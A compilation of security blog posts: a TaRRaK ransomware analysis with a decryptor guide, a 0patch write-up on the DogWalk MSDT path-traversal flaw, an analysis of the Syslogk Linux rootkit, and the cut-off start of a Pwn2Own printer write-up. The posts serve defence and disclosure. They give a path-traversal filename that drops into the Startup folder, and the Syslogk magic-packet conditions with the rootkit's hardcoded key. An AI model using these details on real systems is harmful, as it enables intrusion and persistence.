Grievance Against Lawyers, Judge or Justice (1).zip\Grievance Against Lawyers, Judge or Justice.doc.exe 0477CAC3443BB6E46DE9B904CBA478B778A5C9F82EA411D44A29961F5CC5C842 18.05.2022 Palau, previous victim

Forensic information from the lnk file:

field value
Application Sevntx64.exe
Accessed time 2022-05-19 09:34:26
Birth droid MAC address 00:0C:29:59:3C:CC
Birth droid file ID 0e711e902ecfec11954f000c29593ccc
Birth droid volume ID b097e82425d6c944b33e40f61c831eaf
Creation time 2022-05-19 10:29:34
Drive serial number 0xd4e21f4f
Drive type DRIVE_FIXED
Droid file ID 0e711e902ecfec11954f000c29593ccc
Droid volume ID b097e82425d6c944b33e40f61c831eaf
File flags FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_READONLY
Known folder ID af2448ede4dca84581e2fc7965083634
Link flags EnableTargetMetadata, HasLinkInfo, HasRelativePath, HasTargetIDList, HasWorkingDir, IsUnicodeLocal
base path C:\Users\Public\Documents\Sevntx64.exe
Location Local
MAC address 00:0C:29:59:3C:CC
Machine identifier desktop-eev1hc3
Modified time 2020-08-19 04:13:44
Relative path .\Sevntx64.exe
Size 1543
Target file size 376368
Working directory C:\Users\Public\Documents

The post Outbreak of Follina in Australia appeared first on Avast Threat Labs.

Decrypted: TaRRaK Ransomware

6 June 2022 at 12:10

The TaRRaK ransomware appeared in June of 2021. This ransomware contains many coding errors, so we decided to publish a small blog about them. Samples of this ransomware were spotted in our user base, so we also created a decryptor for this ransomware.

Skip to instructions on how to use the TaRRaK decryptor.

Behavior of the ransomware

The ransomware is written in .NET. The binary is very clean and contains no protections or obfuscations. When executed, the sample creates a mutex named TaRRaK in order to ensure that only one instance of the malware is executed. Also, an auto-start registry entry is created in order to execute the ransomware on every user login:

The ransomware contains a list of 178 file types (extensions) that, when found, are encrypted:

3ds 7z 7zip acc accdb ai aif apk asc asm asf asp aspx avi backup bak bat bin bmp c cdr cer cfg cmd cpp crt crw cs csproj css csv cue db db3 dbf dcr dds der dmg dng doc docm docx dotx dwg dxf dxg eps epub erf flac flv gif gpg h html ico img iso java jpe jpeg jpg js json kdc key kml kmz litesql log lua m3u m4a m4u m4v max mdb mdf mef mid mkv mov mp3 mp4 mpa mpeg mpg mrw nef nrw obj odb odc odm odp ods odt orf p12 p7b p7c part pdb pdd pdf pef pem pfx php plist png ppt pptm pptx ps ps1 psd pst ptx pub pri py pyc r3d raf rar raw rb rm rtf rwl sav sh sln suo sql sqlite sqlite3 sqlitedb sr2 srf srt srw svg swf tga thm tif tiff tmp torrent txt vbs vcf vlf vmx vmdk vdi vob wav wma wmi wmv wpd wps x3f xlk xlm xls xlsb xlsm xlsx xml zip

The ransomware avoids folders containing one the following strings:

  • All Users\Microsoft\
  • $Recycle.Bin
  • :\Windows
  • \Program Files
  • Temporary Internet Files
  • \Local\Microsoft\
  • :\ProgramData\

Encrypted files are given a new extension .TaRRaK. They also contain the TaRRaK signature at the beginning of the encrypted file:

File Encryption

Implementation of the encryption is a nice example of a buggy code:

First, the ransomware attempts to read the entire file to memory using File.ReadAllBytes(). This function has an internal limit – a maximum of 2 GB of data can be loaded. In case the file is larger, the function throws an exception, which is then handled by the try-catch block. Unfortunately, the try-catch block only handles a permission-denied condition. So it adds an ACL entry granting full access to everyone and retries the read data operation. In case of any other error (read failure, sharing violation, out of memory, read from an offline file), the exception is raised again and the ransomware is stuck in an infinite loop.

Even if the data load operation succeeds and the file data can be fit in memory, there’s another catch. The Encrypt function converts the array of bytes to an array of 32-bit integers:

So it allocates another block of memory with the same size as the file size. It then performs an encryption operation, using a custom encryption algorithm. Encrypted Uint32 array is converted to another array of bytes and written to the file. So in addition to the memory allocation for the original file data, two extra blocks are allocated. If any of the memory allocations fails, it throws an exception and the ransomware is again stuck in an infinite loop.

In the rare case when the encryption process finishes (no sharing violation or another error), the ransom note file named Encrypted Files by TaRRaK.txt is dropped to the root folder of each drive:

Files with the .TaRRaK extension are associated with their own icon:

Finally, desktop wallpaper is set to the following bitmap:

How to use the Avast decryptor to decrypt files encrypted by TaRRaK Ransomware

To decrypt your files, follow these steps:

  1. You must be logged to the same user account like the one under which the files were encrypted.
  2. Download the free Avast decryptor for 32-bit or 64-bit Windows.
  3. Run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
  4. On the initial page, you can read the license information, if you want, but you really only need to click “Next”
  1. On the next page, select the list of locations you want to be searched and decrypted. By default, it contains a list of all local drives:
  1. On the final page, you can opt-in to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes decrypting all of your files.

IOCs

SHA256
00965b787655b23fa32ef2154d64ee9e4e505a42d70f5bb92d08d41467fb813d
47554d3ac4f61e223123845663c886b42016b4107e285b7da6a823c2f5050b86
aafa0f4d3106755e7e261d337d792d3c34fc820872fd6d1aade77b904762d212
af760d272c64a9258fab7f0f80aa2bba2a685772c79b1dec2ebf6f3b6738c823

The post Decrypted: TaRRaK Ransomware appeared first on Avast Threat Labs.

Microsoft Diagnostic Tool "DogWalk" Package Path Traversal Gets Free Micropatches (CVE-2022-34713)

7 June 2022 at 13:39


by Mitja Kolsek, the 0patch Team

 

Update 8/10/2022: August 2022 Windows Updates brought an official fix for this vulnerability with assigned CVE-2022-34713. Our users were therefore protected from this issue whole 63 days before an official fix got available, and remain protected until they install August Windows Updates. These micropatches from now on require a PRO or Enterprise license.

 

With the "Follina" / CVE-2022-30190 0day still hot, i.e., still waiting for an official fix while apparently already getting exploited by nation-backed attackers, another related unfixed vulnerability in Microsoft's Diagnostic Tool (MSDT) bubbled to the surface.

In January 2020, security researcher Imre Rad published an article titled "The trouble with Microsoft’s Troubleshooters," describing a method for having a malicious executable file being saved to user's Startup folder, where it would subsequently get executed upon user's next login. What the user has to do for this to happen is open a "diagcab" file, an archive in the Cabinet (CAB) file format that contains a diagnostics configuration file.

According to Imre's article, this issue was reported to Microsoft but their position was that it was not a security issue worth fixing. This was their response:

"There are a number of file types that can execute code in such a way but aren’t technically “executables”. And a number of these are considered unsafe for users to download/receive in email, even .diagcab is blocked by default in Outlook on the web and other places. This is noted a number of places online by Microsoft.

The issue is that to make use of this attack an attacker needs to create what amounts to a virus, convince a user to download the virus, and then run it. Yes, it doesn’t end in .exe, but these days most viruses don’t. Some protections are already put into place, such as standard files extensions to be blocked, of which this is one. We are also always seeking to improve these protections. But as written this wouldn’t be considered a vulnerability. No security boundaries are being bypassed, the PoC doesn’t escalate permissions in any way, or do anything the user couldn’t do already."

The above does not sound unreasonable. The victim is supposed to open a file provided by the attacker, and then something bad happens. It's true (as it was back in 2020 when this was written) that most viruses aren't delivered to victims as .exe files or other typical executables, and that files with .diagcab extension would be marked as dangerous by Outlook. However, Outlook is not the only delivery vehicle: such file is cheerfully downloaded by all major browsers including Microsoft Edge by simply visiting(!) a web site, and it only takes a single click (or mis-click) in the browser's downloads list to have it opened. No warning is shown in the process, in contrast to downloading and opening any other known file capable of executing attacker's code. From attacker's perspective, therefore, this is a nicely exploitable vulnerability with all Windows versions affected back to Windows 7 and Server 2008.

In any case, the issue was found, reported, deemed unworthy, and largely forgotten. Until security researcher j00sean found it again and brought attention to it last week, as Microsoft Diagnostic Tool was under the spotlight because of Follina.

We decided this issue is exploitable enough to warrant a micropatch, and with the cat out of the bag (having presumably stayed in the bag since 2020) the likelihood of its exploitation is now higher.

Oh, and where did the DogWalk name come from? I asked Kevin Beaumont to name this vulnerability before publishing the blog post, and Kevin agreed with Kili's suggestion. The whole story is in the Twitter thread.

 

The Vulnerability

The vulnerability lies in the Microsoft Diagnostic Tool's sdiageng.dll library, which takes the attacker-supplied folder path from the package configuration XML file inside the diagcab archive, and copies all files from that folder to a local temporary folder. During this process, it enumerates files in attacker's folder, gets the file name for each of them, then glues together the local temporary path and that file name to generate the local path on the computer where the file is to be created. For instance, if attacker's folder were C:\temp\ and it contained a single file test.txt, the affected code would find that file, determine its name to be "test.txt", concatenate the previously created temporary folder name with this file name to get something like "C:\Users\John\AppData\Local\Temp\SDIAG_0636db01-fabd-49ed-bd1d-b3fbbe5fd0ca\test.txt" and finally create such file with the content of the original C:\temp\test.txt file.

Now, the source folder can be on a remote share, not only a local folder such as C:\temp. Furthermore, it can reside on a WebDAV share on the Internet because by default, Windows workstations happily use WebDAV to access network shares, and WebDAV goes through most firewalls as it is just basically outbound HTTP. But none of these is the vulnerability yet.

The vulnerability is in the fact that the code assumes the filename to be a valid Windows filename. You know, not containing those characters you see Windows complaining about when you try to rename a file to something with ":" or "|".

 Or, more specifically, that a file name can't be something like "\..\..\..\..\..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.exe".

Wait, can a file name actually look like that? Not if you try to create it with Windows Explorer or "regular tools", but there is nothing to prevent a WebDAV server from saying, "Here's the file, its name is whatever I want it to be, deal with it." Should Windows accept suchmalformed file names? Probably not - but they do, and they pass them on to applications using their APIs. Which is the case with the vulnerability at hand; let's see what happens:


  1. The diagcab archive contains package configuration XML file pointing to a folder on a remote WebDAV server.
  2. This folder hosts a file named "\..\..\..\..\..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.exe".
  3. Vulnerable MSDT creates a local temporary folder such as "C:\Users\John\AppData\Local\Temp\SDIAG_0636db01-fabd-49ed-bd1d-b3fbbe5fd0ca".
  4. It then appends the remote file name to this folder name and gets: "C:\Users\John\AppData\Local\Temp\SDIAG_0636db01-fabd-49ed-bd1d-b3fbbe5fd0ca\..\..\..\..\..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.exe".
  5. Which in fact means "C:\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.exe".
  6. It finally copies the content of the remote weirdly-named file to malicious.exe in computer's Startup folder, where it will be executed the next time anyone logs in. 

 

Okay, but who would download and open a silly diagcab file? Well, the download can happen automatically in a drive-by-download fashion, as demonstrated by Imre's POC (click this link and see the file downloaded to your browser). Then you see it listed in browser's Downloads list and if you click on it - intentionally or not - it's game over.

How about Mark of the Web? Aren't all downloaded files and files received via email marked with this flag that tells Windows to warn the user if they want to open it?

They are indeed, and the downloaded diagcab file is marked as well. But it is up to the application processing the file to check this mark and warn the user. Many applications do that; MSDT, unfortunately, does not.

 

Our Micropatch

Clearly, this is a path traversal vulnerability, and these vulnerabilities are all addressed in the same way: by searching for occurrences of "..\" in attacker-supplied file name or path and blocking the operation in case any are found. This is exactly what we did here. Our patch adds code that searches the source file name for "..\"; if found, it reports an "Exploit blocked" event and emulates an error on the file copy operation as shown on the video below.



Source code of the micropatch:



MODULE_PATH "..\Affected_Modules\sdiageng.dll_10.0.18362.1_Win10-1909_64-bit_u202205\sdiageng.dll"
PATCH_ID 893
PATCH_FORMAT_VER 2
VULN_ID 7418
PLATFORM win64

patchlet_start

    PATCHLET_ID 1
    PATCHLET_TYPE 2
    PATCHLET_OFFSET 0x20e86
    N_ORIGINALBYTES 5
    JUMPOVERBYTES 0
    PIT msvcrt!wcsstr,sdiageng!0x20f30
    code_start

        call VAR                    ; push "..\" to stack and use it as a variable
        dw __utf16__('..\'),0

    VAR:
        pop rdx                     ; get VAR from stack - substring
        lea rcx, [rsp+5Ch]          ; mov data pointer to rcx - path
        sub rsp, 20h                ; shadow space
        call PIT_wcsstr             ; search substring("..\") in a string(path)
        add rsp, 20h
        cmp rax, 0                  ; check wcsstr return. 0 if the string does
                                    ; not contain the substring
                                    ; else returns a pointer to the first
                                    ; occurrence of substring in string
       
        je CONTINUE
        call PIT_ExploitBlocked     ; exploit blocked popup
        jmp PIT_0x20f30             ; jmp to existing error block

    CONTINUE:                       ; normal code flow
       
    code_end

patchlet_end

 

This is how our patch (green code blocks) is integrated in the original vulnerable code (white and blue code blocks) to add the missing security check:



Micropatch Availability

Since this is a "0day" vulnerability with no official vendor fix available, we are providing our micropatches for free until such fix becomes available.

Micropatches were written for: 

  1. Windows 11 v21H2
  2. Windows 10 v21H2
  3. Windows 10 v21H1
  4. Windows 10 v20H2
  5. Windows 10 v2004
  6. Windows 10 v1909
  7. Windows 10 v1903
  8. Windows 10 v1809
  9. Windows 10 v1803
  10. Windows 7
  11. Windows Server 2008 R2
  12. Windows Server 2012
  13. Windows Server 2012 R2
  14. Windows Server 2016
  15. Windows Server 2019 
  16. Windows Server 2022 
 

These micropatches have already been distributed to all online 0patch Agents. If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboot will be needed.

We don't know whether this vulnerability has ever been exploited in the wild, or whether it will ever be. But as former attackers, we know it's the kind of issue one could realistically use, and our micropatches make sure that 0patch users don't have to care either way.

To learn more about 0patch, please visit our Help Center

We'd like to thank Imre Rad for publishing vulnerability details and a POC, which allowed us to reproduce the vulnerability and create a micropatch, j00sean for digging this thing up and shedding light on it, and all other security researchers who have shared their findings with public or privately with us. We also encourage security researchers to privately share their analyses with us for micropatching.







Linux Threat Hunting: ‘Syslogk’ a kernel rootkit found under development in the wild

Introduction

Rootkits are dangerous pieces of malware. Once in place, they are usually really hard to detect. Their code is typically more challenging to write than other malware, so developers resort to code reuse from open source projects. As rootkits are very interesting to analyze, we are always looking out for these kinds of samples in the wild.

Adore-Ng is a relatively old, open-source, well-known kernel rootkit for Linux, which initially targeted kernel 2.x but is currently updated to target kernel 3.x. It enables hiding processes, files, and even the kernel module, making it harder to detect. It also allows authenticated user-mode processes to interact with the rootkit to control it, allowing the attacker to hide many custom malicious artifacts by using a single rootkit.

In early 2022, we were analyzing a rootkit mostly based on Adore-Ng that we found in the wild, apparently under development. After obtaining the sample, we examined the .modinfo section and noticed it is compiled for a specific kernel version.

As you may know, even if it is possible to ‘force load’ the module into the kernel by using the --force flag of the insmod Linux command, this operation can fail if the required symbols are not found in the kernel; this can often lead to a system crash.

insmod -f {module}

We discovered that the kernel module could be successfully loaded without forcing into a default Centos 6.10 distribution, as the rootkit we found is compiled for a similar kernel version.

While looking at the file’s strings, we quickly identified the PgSD93ql hardcoded file name in the kernel rootkit to reference the payload. This payload file name is likely used to make it less obvious for the sysadmin, for instance, it can look like a legitimate PostgreSQL file.

Using this hardcoded file name, we extracted the file hidden by the rootkit. It is a compiled backdoor trojan written in C programming language; Avast’s antivirus engine detects and classifies this file as ELF:Rekoob – which is widely known as the Rekoobe malware family. Rekoobe is a piece of code implanted in legitimate servers. In this case it is embedded in a fake SMTP server, which spawns a shell when it receives a specially crafted command. In this post, we refer to this rootkit as Syslogk rootkit, due to how it ‘reveals’ itself when specially crafted data is written to the file /proc/syslogk .

Analyzing the Syslogk rootkit

The Syslogk rootkit is heavily based on Adore-Ng but incorporates new functionalities making the user-mode application and the kernel rootkit hard to detect.

Loading the kernel module

To load the rootkit into kernel space, it is necessary to approximately match the kernel version used for compiling; it does not have to be strictly the same.

vermagic=2.6.32-696.23.1.el6.x86_64 SMP mod_unload modversions

For example, we were able to load the rootkit without any effort in a Centos 6.10 virtual machine by using the insmod Linux command.

After loading it, you will notice that the malicious driver does not appear in the list of loaded kernel modules when using the lsmod command.

Revealing the rootkit

The rootkit has a hide_module function which uses the list_del function of the kernel API to remove the module from the linked list of kernel modules. Next, it also accordingly updates its internal module_hidden flag.

Fortunately, the rootkit has a functionality implemented in the proc_write function that exposes an interface in the /proc file system which reveals the rootkit when the value 1 is written into the file /proc/syslogk.

Once the rootkit is revealed, it is possible to remove it from memory using the rmmod Linux command. The Files section of this post has additional details that will be useful for programmatically uncloaking the rootkit.

Overview of the Syslogk rootkit features

Apart from hiding itself, making itself harder to detect when implanted, Syslogk can completely hide the malicious payload by taking the following actions:

  • The hk_proc_readdir function of the rootkit hides directories containing malicious files, effectively hiding them from the operating system.
  • The malicious processes are hidden via hk_getpr – a mix of Adore-Ng functions for hiding processes.
  • The malicious payload is hidden from tools like Netstat; when running, it will not appear in the list of services. For this purpose, the rootkit uses the function hk_t4_seq_show.
  • The malicious payload is not continuously running. The attacker remotely executes it on demand when a specially crafted TCP packet (details below) is sent to the infected machine, which inspects the traffic by installing a netfilter hook.
  • It is also possible for the attacker to remotely stop the payload. This requires using a hardcoded key in the rootkit and knowledge of some fields of the magic packet used for remotely starting the payload. 

We observed that the Syslogk rootkit (and Rekoobe payload) perfectly align when used covertly in conjunction with a fake SMTP server. Consider how stealthy this could be; a backdoor that does not load until some magic packets are sent to the machine. When queried, it appears to be a legitimate service hidden in memory, hidden on disk, remotely ‘magically’ executed, hidden on the network. Even if it is found during a network port scan, it still seems to be a legitimate SMTP server.

For compromising the operating system and placing the mentioned hiding functions, Syslogk uses the already known set_addr_rw and set_addr_ro rootkit functions, which adds or removes writing permissions to the Page Table Entry (PTE) structure.

After adding writing permissions to the PTE, the rootkit can hook the functions declared in the hks internal rootkit structure.

PTE Hooks
Type of the function Offset Name of the function
Original hks+(0x38) * 0 proc_root_readdir
Hook hks+(0x38) * 0 + 0x10 hk_proc_readdir
Original hks+(0x38) * 1 tcp4_seq_show
Hook hks+(0x38) * 1 + 0x10 hk_t4_seq_show
Original hks+(0x38) * 2 sys_getpriority
Hook hks+(0x38) * 2 + 0x10 hk_getpr

The mechanism for placing the hooks consists of identifying the hookable kernel symbols via /proc/kallsyms as implemented in the get_symbol_address function of the rootkit (code reused from this repository). After getting the address of the symbol, the Syslogk rootkit uses the udis86 project for hooking the function.

Understanding the directory hiding mechanism

The Virtual File System (VFS) is an abstraction layer that allows for FS-like operation over something that is typically not a traditional FS. As it is the entry point for all the File System queries, it is a good candidate for the rootkits to hook.

It is not surprising that the Syslogk rootkit hooks the VFS functions for hiding the Rekoobe payload stored in the file /etc/rc-Zobk0jpi/PgSD93ql .

The hook is done by hk_root_readdir which calls to nw_root_filldir where the directory filtering takes place.

As you can see, any directory containing the substring -Zobk0jpi will be hidden.

The function hk_get_vfs opens the root of the file system by using filp_open. This kernel function returns a pointer to the structure file, which contains a file_operations structure called f_op that finally stores the readdir function hooked via hk_root_readdir.

Of course, this feature is not new at all. You can check the source code of Adore-Ng and see how it is implemented on your own.

Understanding the process hiding mechanism

In the following screenshot, you can see that the Syslogk rootkit (code at the right margin of the screenshot) is prepared for hiding a process called PgSD93ql. Therefore, the rootkit seems more straightforward than the original version (see Adore-Ng at the left margin of the screenshot). Furthermore, the process to hide can be selected after authenticating with the rootkit.

The Syslogk rootkit function hk_getpr explained above, is a mix of adore_find_task and should_be_hidden functions but it uses the same mechanism for hiding processes.

Understanding the network traffic hiding mechanism

The Adore-Ng rootkit allows hiding a given set of listening services from Linux programs like Netstat. It uses the exported proc_net structure to change the tcp4_seq_show( ) handler, which is invoked by the kernel when Netstat queries for listening connections. Within the adore_tcp4_seq_show() function, strnstr( ) is used to look in seq->buf for a substring that contains the hexadecimal representation of the port it is trying to hide. If this is found, the string is deleted.

In this way, the backdoor will not appear when listing the connections in an infected machine. The following section describes other interesting capabilities of this rootkit.

Understanding the magic packets

Instead of continuously running the payload, it is remotely started or stopped on demand by sending specially crafted network traffic packets.

These are known as magic packets because they have a special format and special powers. In this implementation, an attacker can trigger actions without having a listening port in the infected machine such that the commands are, in some way, ‘magically’ executed in the system.

Starting the Rekoobe payload

The magic packet inspected by the Syslogk rootkit for starting the Rekoobe fake SMTP server is straightforward. First, it checks whether the packet is a TCP packet and, in that case, it also checks the source port, which is expected to be 59318.

Rekobee will be executed by the rootkit if the magic packet fits the mentioned criteria.

Of course, before executing the fake service, the rootkit terminates all existing instances of the program by calling the rootkit function pkill_clone_0. This function contains the hardcoded process name PgSD93ql;  it only kills the Rekoobe process by sending the KILL signal via send_sig.

To execute the command that starts the Rekoobe fake service in user mode, the rootkit executes the following command by combining the kernel APIs: call_usermodehelper_setup, call_usermodehelper_setfns, and call_usermodehelper_exec.

/bin/sh -c /etc/rc-Zobk0jpi/PgSD93ql

The Files section of this post demonstrates how to manually craft (using Python) the TCP magic packet for starting the Rekoobe payload.

In the next section we describe a more complex form of the magic packet.

Stopping the Rekoobe payload

Since the attacker doesn’t want any other person in the network to be able to kill Rekoobe, the magic packet for killing Rekoobe must match some fields in the previous magic packet used for starting Rekoobe. Additionally, the packet must satisfy additional requirements – it must contain a key that is hardcoded in the rootkit and located in a variable offset of the magic packet. The conditions that are checked:

  1. It checks a flag enabled when the rootkit executes Rekoobe via magic packets. It will only continue if the flag is enabled.
  2. It checks the Reserved field of the TCP header to see that it is 0x08.
  3. The Source Port must be between 63400 and 63411 inclusive.
  4. Both the Destination Port and the Source Address, must to be the same that were used when sending the magic packet for starting Rekoobe.
  5. Finally, it looks for the hardcoded key. In this case, it is: D9sd87JMaij

The offset of the hardcoded key is also set in the packet and not in a hardcoded offset; it is calculated instead. To be more precise, it is set in the data offset byte (TCP header) such that after shifting the byte 4 bits to the right and multiplying it by 4, it points to the offset of where the Key is expected to be (as shown in the following screenshot, notice that the rootkit compares the Key in reverse order).

In our experiments, we used the value 0x50 for the data offset (TCP header) because after shifting it 4 bits, you get 5 which multiplied by 4 is equal to 20. Since 20 is precisely the size of the TCP Header, by using this value, we were able to put the key at the start of the data section of the packet.

If you are curious about how we implemented this magic packet from scratch, then please see the Files section of this blog post.

Analyzing Rekoobe

When the infected machine receives the appropriate magic packet, the rootkit starts the hidden Rekoobe malware in user mode space.

It looks like an innocent SMTP server, but there is a backdoor command on it that can be executed when handling the starttls command. In a legitimate service, this command is sent by the client to the server to advise that it wants to start TLS negotiation.

For triggering the Rekoobe backdoor command (spawning a shell), the attacker must send the byte 0x03 via TLS, followed by a Tag Length Value (TLV) encoded data. Here, the tag is the symbol %, the length is specified in four numeric characters, and the value (notice that the length and value are arbitrary but can not be zero).

Additionally, to establish the TLS connection, you will need the certificate embedded in Rekoobe.

See the Files section below for the certificate and a Python script we developed to connect with Rekoobe.

The origin of Rekoobe payload and Syslogk rootkit

Rekoobe is clearly based on the TinySHell open source project; this is based on ordering observed in character and variables assignment taking place in the same order multiple times.

On the other hand, if you take a look at the Syslogk rootkit, even if it is new, you will notice that there are also references to TinySHell dating back to December 13, 2018.

The evidence suggests that the threat actor developed Rekoobe and Syslogk to run them  together. We are pleased to say that our users are protected and hope that this research assists others.

Conclusions

One of the architectural advantages of security software is that it usually has components running in different privilege levels; malware running on less-privileged levels cannot easily interfere with processes running on higher privilege levels, thus allowing more straightforward dealing with malware.

On the other hand, kernel rootkits can be hard to detect and remove because these pieces of malware run in a privileged layer. This is why it is essential for system administrators and security companies to be aware of this kind of malware and write protections for their users as soon as possible.

IoCs

Syslogk sample

  • 68facac60ee0ade1aa8f8f2024787244c2584a1a03d10cda83eeaf1258b371f2

Rekoobe sample

  • 11edf80f2918da818f3862246206b569d5dcebdc2a7ed791663ca3254ede772d

Other Rekoobe samples

  • fa94282e34901eba45720c4f89a0c820d32840ae49e53de8e75b2d6e78326074
  • fd92e34675e5b0b8bfbc6b1f3a00a7652e67a162f1ea612f6e86cca846df76c5
  • 12c1b1e48effe60eef7486b3ae3e458da403cd04c88c88fab7fca84d849ee3f5
  • 06778bddd457aafbc93d384f96ead3eb8476dc1bc8a6fbd0cd7a4d3337ddce1e
  • f1a592208723a66fa51ce1bc35cbd6864e24011c6dc3bcd056346428e4e1c55d
  • 55dbdb84c40d9dc8c5aaf83226ca00a3395292cc8f884bdc523a44c2fd431c7b
  • df90558a84cfcf80639f32b31aec187b813df556e3c155a05af91dedfd2d7429
  • 160cfb90b81f369f5ba929aba0b3130cb38d3c90d629fe91b31fdef176752421
  • b4d0f0d652f907e4e77a9453dcce7810b75e1dc5867deb69bea1e4ecdd02d877
  • 3a6f339df95e138a436a4feff64df312975a262fa16b75117521b7d6e7115d65
  • 74699b0964a2cbdc2bc2d9ca0b2b6f5828b638de7c73b1d41e7fe26cfc2f3441
  • 7a599ff4a58cb0672a1b5e912a57fcdc4b0e2445ec9bc653f7f3e7a7d1dc627f
  • f4e3cfeeb4e10f61049a88527321af8c77d95349caf616e86d7ff4f5ba203e5f
  • 31330c0409337592e9de7ac981cecb7f37ce0235f96e459fefbd585e35c11a1a
  • c6d735b7a4656a52f3cd1d24265e4f2a91652f1a775877129b322114c9547deb
  • 2e81517ee4172c43a2084be1d584841704b3f602cafc2365de3bcb3d899e4fb8
  • b22f55e476209adb43929077be83481ebda7e804d117d77266b186665e4b1845
  • a93b9333a203e7eed197d0603e78413013bd5d8132109bbef5ef93b36b83957c
  • 870d6c202fcc72088ff5d8e71cc0990777a7621851df10ba74d0e07d19174887
  • ca2ee3f30e1c997cc9d8e8f13ec94134cdb378c4eb03232f5ed1df74c0a0a1f0
  • 9d2e25ec0208a55fba97ac70b23d3d3753e9b906b4546d1b14d8c92f8d8eb03d
  • 29058d4cee84565335eafdf2d4a239afc0a73f1b89d3c2149346a4c6f10f3962
  • 7e0b340815351dab035b28b16ca66a2c1c7eaf22edf9ead73d2276fe7d92bab4
  • af9a19f99e0dcd82a31e0c8fc68e89d104ef2039b7288a203f6d2e4f63ae4d5c
  • 6f27de574ad79eb24d93beb00e29496d8cfe22529fc8ee5010a820f3865336a9
  • d690d471b513c5d40caef9f1e37c94db20e6492b34ea6a3cddcc22058f842cf3
  • e08e241d6823efedf81d141cc8fd5587e13df08aeda9e1793f754871521da226
  • da641f86f81f6333f2730795de93ad2a25ab279a527b8b9e9122b934a730ab08
  • e3d64a128e9267640f8fc3e6ba5399f75f6f0aca6a8db48bf989fe67a7ee1a71
  • d3e2e002574fb810ac5e456f122c30f232c5899534019d28e0e6822e426ed9d3
  • 7b88fa41d6a03aeda120627d3363b739a30fe00008ce8d848c2cbb5b4473d8bc
  • 50b73742726b0b7e00856e288e758412c74371ea2f0eaf75b957d73dfb396fd7
  • 8b036e5e96ab980df3dca44390d6f447d4ca662a7eddac9f52d172efff4c58f8
  • 8b18c1336770fcddc6fe78d9220386bce565f98cc8ada5a90ce69ce3ddf36043
  • f04dc3c62b305cdb4d83d8df2caa2d37feeb0a86fb5a745df416bac62a3b9731
  • 72f200e3444bb4e81e58112111482e8175610dc45c6e0c6dcd1d2251bacf7897
  • d129481955f24430247d6cc4af975e4571b5af7c16e36814371575be07e72299
  • 6fc03c92dee363dd88e50e89062dd8a22fe88998aff7de723594ec916c348d0a
  • fca2ea3e471a0d612ce50abc8738085f076ad022f70f78c3f8c83d1b2ff7896b
  • 2fea3bc88c8142fa299a4ad9169f8879fc76726c71e4b3e06a04d568086d3470
  • 178b23e7eded2a671fa396dd0bac5d790bca77ec4b2cf4b464d76509ed12c51a
  • 3bff2c5bfc24fc99d925126ec6beb95d395a85bc736a395aaf4719c301cbbfd4
  • 14a33415e95d104cf5cf1acaff9586f78f7ec3ffb26efd0683c468edeaf98fd7
  • 8bb7842991afe86b97def19f226cb7e0a9f9527a75981f5e24a70444a7299809
  • 020a6b7edcff7764f2aac1860142775edef1bc057bedd49b575477105267fc67
  • 6711d5d42b54e2d261bb48aa7997fa9191aec059fd081c6f6e496d8db17a372a
  • 48671bc6dbc786940ede3a83cc18c2d124d595a47fb20bc40d47ec9d5e8b85dc
  • b0d69e260a44054999baa348748cf4b2d1eaab3dd3385bb6ad5931ff47a920de
  • e1999a3e5a611312e16bb65bb5a880dfedbab8d4d2c0a5d3ed1ed926a3f63e94
  • fa0ea232ab160a652fcbd8d6db8ffa09fd64bcb3228f000434d6a8e340aaf4cb
  • 11edf80f2918da818f3862246206b569d5dcebdc2a7ed791663ca3254ede772d
  • 73bbabc65f884f89653a156e432788b5541a169036d364c2d769f6053960351f
  • 8ec87dee13de3281d55f7d1d3b48115a0f5e4a41bfbef1ea08e496ac529829c8
  • 8285ee3115e8c71c24ca3bdce313d3cfadead283c31a116180d4c2611efb610d
  • 958bce41371b68706feae0f929a18fa84d4a8a199262c2110a7c1c12d2b1dce2
  • 38f357c32f2c5a5e56ea40592e339bac3b0cabd6a903072b9d35093a2ed1cb75
  • bcc3d47940ae280c63b229d21c50d25128b2a15ea42fe8572026f88f32ed0628
  • 08a1273ac9d6476e9a9b356b261fdc17352401065e2fc2ad3739e3f82e68705a
  • cf525918cb648c81543d9603ac75bc63332627d0ec070c355a86e3595986cbb3
  • 42bc744b22173ff12477e57f85fa58450933e1c4294023334b54373f6f63ee42
  • 337674d6349c21d3c66a4245c82cb454fea1c4e9c9d6e3578634804793e3a6d6
  • 4effa5035fe6bbafd283ffae544a5e4353eb568770421738b4b0bb835dad573b
  • 5b8059ea30c8665d2c36da024a170b31689c4671374b5b9b1a93c7ca47477448
  • bd07a4ccc8fa67e2e80b9c308dec140ca1ae9c027fa03f2828e4b5bdba6c7391
  • bf09a1a7896e05b18c033d2d62f70ea4cac85e2d72dbd8869e12b61571c0327e
  • 79916343b93a5a7ac7b7133a26b77b8d7d0471b3204eae78a8e8091bfe19dc8c
  • c32e559568d2f6960bc41ca0560ac8f459947e170339811804011802d2f87d69
  • 864c261555fce40d022a68d0b0eadb7ab69da6af52af081fd1d9e3eced4aee46
  • 275d63587f3ac511d7cca5ff85af2914e74d8b68edd5a7a8a1609426d5b7f6a9
  • 031183e9450ad8283486621c4cdc556e1025127971c15053a3bf202c132fe8f9

Files

Syslogk research tools

Rekoobe research tool

IoC repository

The Syslogk and Rekoobe rootkit research tools and IoCs are in our IoC repository.

The post Linux Threat Hunting: ‘Syslogk’ a kernel rootkit found under development in the wild appeared first on Avast Threat Labs.

Pwn2Own 2021 Canon ImageCLASS MF644Cdw writeup

Introduction

Pwn2Own Austin 2021 was announced in August 2021 and introduced new categories, including printers. Based on our previous experience with printers, we decided to go after one of the three models. Among those, the Canon ImageCLASS MF644Cdw seemed like the most interesting target: previous research was limited (mostly targeting Pixma inkjet printers). Based on this, we started analyzing the firmware before even having bought the printer.

Our team was composed of 3 members:

Note: This writeup is based on version 10.02 of the printer's firmware, the latest available at the time of Pwn2Own.
